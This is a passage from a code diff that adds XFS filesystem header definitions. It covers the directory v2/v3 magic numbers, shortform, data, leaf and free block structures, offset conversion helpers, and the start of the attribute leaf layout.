XFS_DIR2_DATA_MAGIC 0x58443244 /* XD2D: multiblock dirs */ +#define XFS_DIR2_FREE_MAGIC 0x58443246 /* XD2F: free index blocks */ + +/* + * Directory Version 3 With CRCs. + * + * The tree formats are the same as for version 2 directories. The difference + * is in the block header and dirent formats. In many cases the v3 structures + * use v2 definitions as they are no different and this makes code sharing much + * easier. + * + * Also, the xfs_dir3_*() functions handle both v2 and v3 formats - if the + * format is v2 then they switch to the existing v2 code, or the format is v3 + * they implement the v3 functionality. This means the existing dir2 is a mix of + * xfs_dir2/xfs_dir3 calls and functions. The xfs_dir3 functions are called + * where there is a difference in the formats, otherwise the code is unchanged. + * + * Where it is possible, the code decides what to do based on the magic numbers + * in the blocks rather than feature bits in the superblock. This means the code + * is as independent of the external XFS code as possible as doesn't require + * passing struct xfs_mount pointers into places where it isn't really + * necessary. + * + * Version 3 includes: + * + * - a larger block header for CRC and identification purposes and so the + * offsets of all the structures inside the blocks are different. + * + * - new magic numbers to be able to detect the v2/v3 types on the fly. + */ + +#define XFS_DIR3_BLOCK_MAGIC 0x58444233 /* XDB3: single block dirs */ +#define XFS_DIR3_DATA_MAGIC 0x58444433 /* XDD3: multiblock dirs */ +#define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ + +/* + * Dirents in version 3 directories have a file type field. Additions to this + * list are an on-disk format change, requiring feature bits. Valid values + * are as follows: + */ +#define XFS_DIR3_FT_UNKNOWN 0 +#define XFS_DIR3_FT_REG_FILE 1 +#define XFS_DIR3_FT_DIR 2 +#define XFS_DIR3_FT_CHRDEV 3 +#define XFS_DIR3_FT_BLKDEV 4 +#define XFS_DIR3_FT_FIFO 5 +#define XFS_DIR3_FT_SOCK 6 +#define XFS_DIR3_FT_SYMLINK 7 +#define XFS_DIR3_FT_WHT 8 + +#define XFS_DIR3_FT_MAX 9 + +/* + * Byte offset in data block and shortform entry. + */ +typedef __uint16_t xfs_dir2_data_off_t; +#define NULLDATAOFF 0xffffU +typedef uint xfs_dir2_data_aoff_t; /* argument form */ + +/* + * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. + * Only need 16 bits, this is the byte offset into the single block form. + */ +typedef struct { __uint8_t i[2]; } __arch_pack xfs_dir2_sf_off_t; + +/* + * Offset in data space of a data entry. + */ +typedef __uint32_t xfs_dir2_dataptr_t; +#define XFS_DIR2_MAX_DATAPTR ((xfs_dir2_dataptr_t)0xffffffff) +#define XFS_DIR2_NULL_DATAPTR ((xfs_dir2_dataptr_t)0) + +/* + * Byte offset in a directory. + */ +typedef xfs_off_t xfs_dir2_off_t; + +/* + * Directory block number (logical dirblk in file) + */ +typedef __uint32_t xfs_dir2_db_t; + +/* + * Inode number stored as 8 8-bit values. + */ +typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; + +/* + * Inode number stored as 4 8-bit values. + * Works a lot of the time, when all the inode numbers in a directory + * fit in 32 bits. + */ +typedef struct { __uint8_t i[4]; } xfs_dir2_ino4_t; + +typedef union { + xfs_dir2_ino8_t i8; + xfs_dir2_ino4_t i4; +} xfs_dir2_inou_t; +#define XFS_DIR2_MAX_SHORT_INUM ((xfs_ino_t)0xffffffffULL) + +/* + * Directory layout when stored internal to an inode. + * + * Small directories are packed as tightly as possible so as to fit into the + * literal area of the inode. These "shortform" directories consist of a + * single xfs_dir2_sf_hdr header followed by zero or more xfs_dir2_sf_entry + * structures. Due the different inode number storage size and the variable + * length name field in the xfs_dir2_sf_entry all these structure are + * variable length, and the accessors in this file should be used to iterate + * over them. + */ +typedef struct xfs_dir2_sf_hdr { + __uint8_t count; /* count of entries */ + __uint8_t i8count; /* count of 8-byte inode #s */ + xfs_dir2_inou_t parent; /* parent dir inode number */ +} __arch_pack xfs_dir2_sf_hdr_t; + +typedef struct xfs_dir2_sf_entry { + __u8 namelen; /* actual name length */ + xfs_dir2_sf_off_t offset; /* saved offset */ + __u8 name[]; /* name, variable size */ + /* + * A single byte containing the file type field follows the inode + * number for version 3 directory entries. + * + * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a + * variable offset after the name. + */ +} __arch_pack xfs_dir2_sf_entry_t; + +static inline int xfs_dir2_sf_hdr_size(int i8count) +{ + return sizeof(struct xfs_dir2_sf_hdr) - + (i8count == 0) * + (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) +{ + return get_unaligned_be16(&sfep->offset.i); +} + +static inline void +xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) +{ + put_unaligned_be16(off, &sfep->offset.i); +} + +static inline struct xfs_dir2_sf_entry * +xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); +} + +static inline int +xfs_dir3_sf_entsize( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + if (xfs_sb_version_hasftype(&mp->m_sb)) + count += sizeof(__uint8_t); /* file type */ + return count; +} + +static inline struct xfs_dir2_sf_entry * +xfs_dir3_sf_nextentry( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); +} + +/* + * in dir3 shortform directories, the file type field is stored at a variable + * offset after the inode number. Because it's only a single byte, endian + * conversion is not necessary. + */ +static inline __uint8_t * +xfs_dir3_sfe_ftypep( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (__uint8_t *)&sfep->name[sfep->namelen]; +} + +static inline __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t *ftp; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return XFS_DIR3_FT_UNKNOWN; + + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + if (*ftp >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return *ftp; +} + +static inline void +xfs_dir3_sfe_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + __uint8_t *ftp; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return; + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + *ftp = ftype; +} + +/* + * Data block structures. + * + * A pure data block looks like the following drawing on disk: + * + * +-------------------------------------------------+ + * | xfs_dir2_data_hdr_t | + * +-------------------------------------------------+ + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | ... | + * +-------------------------------------------------+ + * | unused space | + * +-------------------------------------------------+ + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + * + * In addition to the pure data blocks for the data and node formats, + * most structures are also used for the combined data/freespace "block" + * format below. + */ + +#define XFS_DIR2_DATA_ALIGN_LOG 3 /* i.e., 8 bytes */ +#define XFS_DIR2_DATA_ALIGN (1 << XFS_DIR2_DATA_ALIGN_LOG) +#define XFS_DIR2_DATA_FREE_TAG 0xffff +#define XFS_DIR2_DATA_FD_COUNT 3 + +/* + * Directory address space divided into sections, + * spaces separated by 32GB. + */ +#define XFS_DIR2_SPACE_SIZE (1ULL << (32 + XFS_DIR2_DATA_ALIGN_LOG)) +#define XFS_DIR2_DATA_SPACE 0 +#define XFS_DIR2_DATA_OFFSET (XFS_DIR2_DATA_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_DATA_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_DATA_OFFSET) + +/* + * Describe a free area in the data block. + * + * The freespace will be formatted as a xfs_dir2_data_unused_t. + */ +typedef struct xfs_dir2_data_free { + __be16 offset; /* start of freespace */ + __be16 length; /* length of freespace */ +} xfs_dir2_data_free_t; + +/* + * Header for the data blocks. + * + * The code knows that XFS_DIR2_DATA_FD_COUNT is 3. + */ +typedef struct xfs_dir2_data_hdr { + __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ + /* XFS_DIR2_BLOCK_MAGIC */ + xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; +} xfs_dir2_data_hdr_t; + +/* + * define a structure for all the verification fields we are adding to the + * directory block structures. This will be used in several structures. + * The magic number must be the first entry to align with all the dir2 + * structures so we determine how to decode them just by the magic number. + */ +struct xfs_dir3_blk_hdr { + __be32 magic; /* magic number */ + __be32 crc; /* CRC of block */ + __be64 blkno; /* first block of the buffer */ + __be64 lsn; /* sequence number of last write */ + uuid_t uuid; /* filesystem we belong to */ + __be64 owner; /* inode that owns the block */ +}; + +struct xfs_dir3_data_hdr { + struct xfs_dir3_blk_hdr hdr; + xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; + __be32 pad; /* 64 bit alignment */ +}; + +#define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) + +static inline struct xfs_dir2_data_free * +xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) +{ + if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { + struct xfs_dir3_data_hdr *hdr3 = (struct xfs_dir3_data_hdr *)hdr; + return hdr3->best_free; + } + return hdr->bestfree; +} + +/* + * Active entry in a data block. + * + * Aligned to 8 bytes. After the variable length name field there is a + * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. + * + * For dir3 structures, there is file type field between the name and the tag. + * This can only be manipulated by helper functions. It is packed hard against + * the end of the name so any padding for rounding is between the file type and + * the tag. + */ +typedef struct xfs_dir2_data_entry { + __be64 inumber; /* inode number */ + __u8 namelen; /* name length */ + __u8 name[]; /* name bytes, no null */ + /* __u8 filetype; */ /* type of inode we point to */ + /* __be16 tag; */ /* starting offset of us */ +} xfs_dir2_data_entry_t; + +/* + * Unused entry in a data block. + * + * Aligned to 8 bytes. Tag appears as the last 2 bytes and must be accessed + * using xfs_dir2_data_unused_tag_p. + */ +typedef struct xfs_dir2_data_unused { + __be16 freetag; /* XFS_DIR2_DATA_FREE_TAG */ + __be16 length; /* total free length */ + /* variable offset */ + __be16 tag; /* starting offset of us */ +} xfs_dir2_data_unused_t; + +/* + * Size of a data entry. + */ +static inline int +__xfs_dir3_data_entsize( + bool ftype, + int n) +{ + int size = offsetof(struct xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} +static inline int +xfs_dir3_data_entsize( + struct xfs_mount *mp, + int n) +{ + bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; + return __xfs_dir3_data_entsize(ftype, n); +} + +static inline __uint8_t +xfs_dir3_dirent_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t type = dep->name[dep->namelen]; + + ASSERT(type < XFS_DIR3_FT_MAX); + if (type < XFS_DIR3_FT_MAX) + return type; + + } + return XFS_DIR3_FT_UNKNOWN; +} + +static inline void +xfs_dir3_dirent_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + if (xfs_sb_version_hasftype(&mp->m_sb)) + dep->name[dep->namelen] = type; +} + +/* + * Pointer to an entry's tag word. + */ +static inline __be16 * +xfs_dir3_data_entry_tag_p( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + return (__be16 *)((char *)dep + + xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); +} + +/* + * Pointer to a freespace's tag word. + */ +static inline __be16 * +xfs_dir2_data_unused_tag_p(struct xfs_dir2_data_unused *dup) +{ + return (__be16 *)((char *)dup + + be16_to_cpu(dup->length) - sizeof(__be16)); +} + +static inline size_t +xfs_dir3_data_hdr_size(bool dir3) +{ + if (dir3) + return sizeof(struct xfs_dir3_data_hdr); + return sizeof(struct xfs_dir2_data_hdr); +} + +static inline size_t +xfs_dir3_data_entry_offset(struct xfs_dir2_data_hdr *hdr) +{ + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_hdr_size(dir3); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); +} + +static inline struct xfs_dir2_data_unused * +xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_unused *) + ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); +} + +/* + * Offsets of . and .. in data space (always block 0) + * + * XXX: there is scope for significant optimisation of the logic here. Right + * now we are checking for "dir3 format" over and over again. Ideally we should + * only do it once for each operation. + */ +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_dot_offset(struct xfs_mount *mp) +{ + return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) +{ + return xfs_dir3_data_dot_offset(mp) + + xfs_dir3_data_entsize(mp, 1); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_first_offset(struct xfs_mount *mp) +{ + return xfs_dir3_data_dotdot_offset(mp) + + xfs_dir3_data_entsize(mp, 2); +} + +/* + * location of . and .. in data space (always block 0) + */ +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_dot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dot_offset(mp)); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_dotdot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_first_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_first_offset(mp)); +} + +/* + * Leaf block structures. + * + * A pure leaf block looks like the following drawing on disk: + * + * +---------------------------+ + * | xfs_dir2_leaf_hdr_t | + * +---------------------------+ + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | ... | + * +---------------------------+ + * | xfs_dir2_data_off_t | + * | xfs_dir2_data_off_t | + * | xfs_dir2_data_off_t | + * | ... | + * +---------------------------+ + * | xfs_dir2_leaf_tail_t | + * +---------------------------+ + * + * The xfs_dir2_data_off_t members (bests) and tail are at the end of the block + * for single-leaf (magic = XFS_DIR2_LEAF1_MAGIC) blocks only, but not present + * for directories with separate leaf nodes and free space blocks + * (magic = XFS_DIR2_LEAFN_MAGIC). + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + */ + +/* + * Offset of the leaf/node space. First block in this space + * is the btree root. + */ +#define XFS_DIR2_LEAF_SPACE 1 +#define XFS_DIR2_LEAF_OFFSET (XFS_DIR2_LEAF_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_LEAF_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_LEAF_OFFSET) + +/* + * Leaf block header. + */ +typedef struct xfs_dir2_leaf_hdr { + xfs_da_blkinfo_t info; /* header for da routines */ + __be16 count; /* count of entries */ + __be16 stale; /* count of stale entries */ +} xfs_dir2_leaf_hdr_t; + +struct xfs_dir3_leaf_hdr { + struct xfs_da3_blkinfo info; /* header for da routines */ + __be16 count; /* count of entries */ + __be16 stale; /* count of stale entries */ + __be32 pad; /* 64 bit alignment */ +}; + +struct xfs_dir3_icleaf_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t stale; +}; + +/* + * Leaf block entry. + */ +typedef struct xfs_dir2_leaf_entry { + __be32 hashval; /* hash value of name */ + __be32 address; /* address of data entry */ +} xfs_dir2_leaf_entry_t; + +/* + * Leaf block tail. + */ +typedef struct xfs_dir2_leaf_tail { + __be32 bestcount; +} xfs_dir2_leaf_tail_t; + +/* + * Leaf block. + */ +typedef struct xfs_dir2_leaf { + xfs_dir2_leaf_hdr_t hdr; /* leaf header */ + xfs_dir2_leaf_entry_t __ents[]; /* entries */ +} xfs_dir2_leaf_t; + +struct xfs_dir3_leaf { + struct xfs_dir3_leaf_hdr hdr; /* leaf header */ + struct xfs_dir2_leaf_entry __ents[]; /* entries */ +}; + +#define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) + +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); + +static inline int +xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) +{ + if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || + lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) + return sizeof(struct xfs_dir3_leaf_hdr); + return sizeof(struct xfs_dir2_leaf_hdr); +} + +static inline int +xfs_dir3_max_leaf_ents(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) +{ + return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size(lp)) / + (uint)sizeof(struct xfs_dir2_leaf_entry); +} + +/* + * Get address of the bestcount field in the single-leaf block. + */ +static inline struct xfs_dir2_leaf_entry * +xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) +{ + if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || + lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { + struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; + return lp3->__ents; + } + return lp->__ents; +} + +/* + * Get address of the bestcount field in the single-leaf block. + */ +static inline struct xfs_dir2_leaf_tail * +xfs_dir2_leaf_tail_p(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) +{ + return (struct xfs_dir2_leaf_tail *) + ((char *)lp + mp->m_dirblksize - + sizeof(struct xfs_dir2_leaf_tail)); +} + +/* + * Get address of the bests array in the single-leaf block. + */ +static inline __be16 * +xfs_dir2_leaf_bests_p(struct xfs_dir2_leaf_tail *ltp) +{ + return (__be16 *)ltp - be32_to_cpu(ltp->bestcount); +} + +/* + * DB blocks here are logical directory block numbers, not filesystem blocks. + */ + +/* + * Convert dataptr to byte in file space + */ +static inline xfs_dir2_off_t +xfs_dir2_dataptr_to_byte(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return (xfs_dir2_off_t)dp << XFS_DIR2_DATA_ALIGN_LOG; +} + +/* + * Convert byte in file space to dataptr. It had better be aligned. + */ +static inline xfs_dir2_dataptr_t +xfs_dir2_byte_to_dataptr(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_dataptr_t)(by >> XFS_DIR2_DATA_ALIGN_LOG); +} + +/* + * Convert byte in space to (DB) block + */ +static inline xfs_dir2_db_t +xfs_dir2_byte_to_db(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_db_t) + (by >> (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)); +} + +/* + * Convert dataptr to a block number + */ +static inline xfs_dir2_db_t +xfs_dir2_dataptr_to_db(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return xfs_dir2_byte_to_db(mp, xfs_dir2_dataptr_to_byte(mp, dp)); +} + +/* + * Convert byte in space to offset in a block + */ +static inline xfs_dir2_data_aoff_t +xfs_dir2_byte_to_off(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_data_aoff_t)(by & + ((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) - 1)); +} + +/* + * Convert dataptr to a byte offset in a block + */ +static inline xfs_dir2_data_aoff_t +xfs_dir2_dataptr_to_off(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return xfs_dir2_byte_to_off(mp, xfs_dir2_dataptr_to_byte(mp, dp)); +} + +/* + * Convert block and offset to byte in space + */ +static inline xfs_dir2_off_t +xfs_dir2_db_off_to_byte(struct xfs_mount *mp, xfs_dir2_db_t db, + xfs_dir2_data_aoff_t o) +{ + return ((xfs_dir2_off_t)db << + (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) + o; +} + +/* + * Convert block (DB) to block (dablk) + */ +static inline xfs_dablk_t +xfs_dir2_db_to_da(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return (xfs_dablk_t)(db << mp->m_sb.sb_dirblklog); +} + +/* + * Convert byte in space to (DA) block + */ +static inline xfs_dablk_t +xfs_dir2_byte_to_da(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return xfs_dir2_db_to_da(mp, xfs_dir2_byte_to_db(mp, by)); +} + +/* + * Convert block and offset to dataptr + */ +static inline xfs_dir2_dataptr_t +xfs_dir2_db_off_to_dataptr(struct xfs_mount *mp, xfs_dir2_db_t db, + xfs_dir2_data_aoff_t o) +{ + return xfs_dir2_byte_to_dataptr(mp, xfs_dir2_db_off_to_byte(mp, db, o)); +} + +/* + * Convert block (dablk) to block (DB) + */ +static inline xfs_dir2_db_t +xfs_dir2_da_to_db(struct xfs_mount *mp, xfs_dablk_t da) +{ + return (xfs_dir2_db_t)(da >> mp->m_sb.sb_dirblklog); +} + +/* + * Convert block (dablk) to byte offset in space + */ +static inline xfs_dir2_off_t +xfs_dir2_da_to_byte(struct xfs_mount *mp, xfs_dablk_t da) +{ + return xfs_dir2_db_off_to_byte(mp, xfs_dir2_da_to_db(mp, da), 0); +} + +/* + * Free space block defintions for the node format. + */ + +/* + * Offset of the freespace index. + */ +#define XFS_DIR2_FREE_SPACE 2 +#define XFS_DIR2_FREE_OFFSET (XFS_DIR2_FREE_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_FREE_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_FREE_OFFSET) + +typedef struct xfs_dir2_free_hdr { + __be32 magic; /* XFS_DIR2_FREE_MAGIC */ + __be32 firstdb; /* db of first entry */ + __be32 nvalid; /* count of valid entries */ + __be32 nused; /* count of used entries */ +} xfs_dir2_free_hdr_t; + +typedef struct xfs_dir2_free { + xfs_dir2_free_hdr_t hdr; /* block header */ + __be16 bests[]; /* best free counts */ + /* unused entries are -1 */ +} xfs_dir2_free_t; + +struct xfs_dir3_free_hdr { + struct xfs_dir3_blk_hdr hdr; + __be32 firstdb; /* db of first entry */ + __be32 nvalid; /* count of valid entries */ + __be32 nused; /* count of used entries */ + __be32 pad; /* 64 bit alignment */ +}; + +struct xfs_dir3_free { + struct xfs_dir3_free_hdr hdr; + __be16 bests[]; /* best free counts */ + /* unused entries are -1 */ +}; + +#define XFS_DIR3_FREE_CRC_OFF offsetof(struct xfs_dir3_free, hdr.hdr.crc) + +/* + * In core version of the free block header, abstracted away from on-disk format + * differences. Use this in the code, and convert to/from the disk version using + * xfs_dir3_free_hdr_from_disk/xfs_dir3_free_hdr_to_disk. + */ +struct xfs_dir3_icfree_hdr { + __uint32_t magic; + __uint32_t firstdb; + __uint32_t nvalid; + __uint32_t nused; + +}; + +void xfs_dir3_free_hdr_from_disk(struct xfs_dir3_icfree_hdr *to, + struct xfs_dir2_free *from); + +static inline int +xfs_dir3_free_hdr_size(struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return sizeof(struct xfs_dir3_free_hdr); + return sizeof(struct xfs_dir2_free_hdr); +} + +static inline int +xfs_dir3_free_max_bests(struct xfs_mount *mp) +{ + return (mp->m_dirblksize - xfs_dir3_free_hdr_size(mp)) / + sizeof(xfs_dir2_data_off_t); +} + +static inline __be16 * +xfs_dir3_free_bests_p(struct xfs_mount *mp, struct xfs_dir2_free *free) +{ + return (__be16 *)((char *)free + xfs_dir3_free_hdr_size(mp)); +} + +/* + * Convert data space db to the corresponding free db. + */ +static inline xfs_dir2_db_t +xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); +} + +/* + * Convert data space db to the corresponding index in a free db. + */ +static inline int +xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return db % xfs_dir3_free_max_bests(mp); +} + +/* + * Single block format. + * + * The single block format looks like the following drawing on disk: + * + * +-------------------------------------------------+ + * | xfs_dir2_data_hdr_t | + * +-------------------------------------------------+ + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t : + * | ... | + * +-------------------------------------------------+ + * | unused space | + * +-------------------------------------------------+ + * | ... | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * +-------------------------------------------------+ + * | xfs_dir2_block_tail_t | + * +-------------------------------------------------+ + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + */ + +typedef struct xfs_dir2_block_tail { + __be32 count; /* count of leaf entries */ + __be32 stale; /* count of stale lf entries */ +} xfs_dir2_block_tail_t; + +/* + * Pointer to the leaf header embedded in a data block (1-block format) + */ +static inline struct xfs_dir2_block_tail * +xfs_dir2_block_tail_p(struct xfs_mount *mp, struct xfs_dir2_data_hdr *hdr) +{ + return ((struct xfs_dir2_block_tail *) + ((char *)hdr + mp->m_dirblksize)) - 1; +} + +/* + * Pointer to the leaf entries embedded in a data block (1-block format) + */ +static inline struct xfs_dir2_leaf_entry * +xfs_dir2_block_leaf_p(struct xfs_dir2_block_tail *btp) +{ + return ((struct xfs_dir2_leaf_entry *)btp) - be32_to_cpu(btp->count); +} + + +/* + * Attribute storage layout + * + * Attribute lists are structured around Btrees where all the data + * elements are in the leaf nodes. Attribute names are hashed into an int, + * then that int is used as the index into the Btree. Since the hashval + * of an attribute name may not be unique, we may have duplicate keys. The + * internal links in the Btree are logical block offsets into the file. + * + *======================================================================== + * Attribute structure when equal to XFS_LBSIZE(mp) bytes. + *======================================================================== + * + * Struct leaf_entry's are packed from the top. Name/values grow from the + * bottom but are not packed. The freemap contains run-length-encoded entries + * for the free bytes after the leaf_entry's, but only the N largest such, + * smaller runs are dropped. When the freemap doesn't show enough space + * for an allocation, we compact the name/value area and try again. If we + * still don't have enough space, then we have to split the block. The + * name/value structs (both local and remote versions) must be 32bit aligned. + * + * Since we have duplicate hash keys, for each key that matches, compare + * the actual name string. The root and intermediate node search always + * takes the first-in-the-block key match found, so we should only have + * to work "forw"ard. If none matches, continue with the "forw"ard leaf + * nodes until the hash key changes or the attribute name is found. + * + * We store the fact that an attribute is a ROOT/USER/SECURE attribute in + * the leaf_entry. The namespaces are independent only because we also look + * at the namespace bit when we are looking for a matching attribute name. + * + * We also store an "incomplete" bit in the leaf_entry. It shows that an + * attribute is in the middle of being created and should not be shown to + * the user if we crash during the time that the bit is set. We clear the + * bit when we have finished setting up the attribute. We do this because + * we cannot create some large attributes inside a single transaction, and we + * need some indication that we weren't finished if we crash in the middle. + */ +#define XFS_ATTR_LEAF_MAPSIZE 3 /* how many freespace slots */ + +typedef struct xfs_attr_leaf_map { /* RLE map of free bytes */ + __be16 base; /* base of free region */ + __be16 size; /* length of free region */ +} xfs_attr_leaf_map_t; + +typedef struct xfs_attr_leaf_hdr { /* constant-structure header block */ + xfs_da_blkinfo_t info; /* block type, links, etc. */ + __be16 count; /* count of active leaf_entry's */ + __be16 usedbytes; /* num bytes of names/values stored */ + __be16 firstused; /* first used byte in name area */ + __u8 holes; /* != 0 if blk needs compaction */ + __u8 pad1; + xfs_attr_leaf_map_t freemap[XFS_ATTR_LEAF_MAPSIZE]; + /* N largest free regions */ +} xfs_attr_leaf_hdr_t; + +typedef struct xfs_attr_leaf_entry { /* sorted on key, not name */ + __be32 hashval; /* hash value of name */ + __be16 nameidx; /* index into buffer of name/value */ + __u8 flags; /* LOCAL/ROOT/SECURE/INCOMPLETE flag */ + __u8 pad2; /* unused pad byte */ +} xfs_attr_leaf_entry_t; + +typedef struct xfs_attr_leaf_name_local { + __be16 valuelen; /* number of bytes in value */ + __u8 namelen; /* length of name bytes */ + __u8 nameval[1]; /* name/value bytes */ +} xfs_attr_leaf_name_local_t; + +typedef struct xfs_attr_leaf_name_remote { + __be32 valueblk; /* block number of value bytes */ + __be32 valuelen; /* number of bytes in value */ + __u8 namelen; /* length of name bytes 